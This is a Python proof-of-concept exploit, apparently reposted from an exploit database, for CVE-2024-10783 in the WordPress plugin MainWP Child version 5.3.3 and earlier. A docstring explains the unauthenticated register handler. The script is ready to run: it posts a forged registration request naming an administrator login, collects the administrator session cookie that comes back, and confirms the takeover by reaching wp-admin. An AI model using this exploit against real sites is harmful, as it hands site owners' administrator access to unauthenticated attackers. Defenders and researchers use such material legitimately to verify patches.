## https://sploitus.com/exploit?id=PACKETSTORM:226390
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin MainWP Child <= 5.3.3 - Unauthenticated Administrator Session Takeover (Rogue Site Registration)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/mainwp-child/
# Software Link: https://downloads.wordpress.org/plugin/mainwp-child.5.3.3.zip
# Version: 5.3.3 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-10783
"""
MainWP Child <= 5.3.3 registers its dashboard-connection handler on 'init' (parse_init) with NO
authentication. When POST function=register is received, register_site()
(class/class-mainwp-connect.php:76) validates the connection request. On a child site that is NOT
yet connected to any dashboard and that has password-authentication disabled (the default),
is_verified_register() returns true unconditionally (is_enabled_user_passwd_auth() == false),
is_never_verify_register() returns true (no prior verified registers), and mainwpver is omitted so
the "dashboard older than 5.3" branch is taken. The handler then calls login(<user>) which runs
wp_set_current_user() + wp_set_auth_cookie() for the supplied administrator login, returning a
valid administrator session cookie to the unauthenticated caller.
Result: an unauthenticated attacker who knows (or guesses) an administrator login name obtains a
fully-authenticated administrator session cookie in a single request -> full site takeover.
Prior state: plugin active + child site not yet connected to a MainWP dashboard (default on fresh
install). Non-HTTPS labs require define('MAINWP_ALLOW_NOSSL_CONNECT', true) (SSL check at :114);
production child sites are typically served over HTTPS where this constant is unnecessary.
"""
import argparse, sys, re
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--admin", default="admin", help="administrator login name to hijack")
args = ap.parse_args()
base = args.target.rstrip("/")
s = requests.Session(); s.verify = False
pubkey = "-----BEGIN PUBLIC KEY-----\nAAAA\n-----END PUBLIC KEY-----"
r = s.post(base + "/", data={"function": "register", "user": args.admin, "pubkey": pubkey},
allow_redirects=False, timeout=30)
logged = any(c.startswith("wordpress_logged_in") for c in s.cookies.keys())
body_ok = "<mainwp>" in r.text or "register" in r.text
print(f"[*] Target: {base} | admin login: {args.admin}")
print(f"[*] register -> HTTP {r.status_code} | logged_in cookie: {logged} | mainwp response: {body_ok}")
if not logged:
print("\n[-] no session cookie returned (already connected? passwd-auth enabled?)"); return 1
# prove: reach an administrator-only screen with the harvested session
p = s.get(base + "/wp-admin/plugins.php", timeout=20)
if p.status_code == 200 and ("Deactivate" in p.text or "plugin-title" in p.text):
print(f"\n[+] ADMIN SESSION TAKEOVER CONFIRMED โ unauthenticated caller now holds an "
f"administrator session for '{args.admin}' (reached wp-admin/plugins.php).")
return 0
print(f"\n[-] cookie set but admin screen not reachable (plugins.php={p.status_code})"); return 1
if __name__ == "__main__":
sys.exit(main())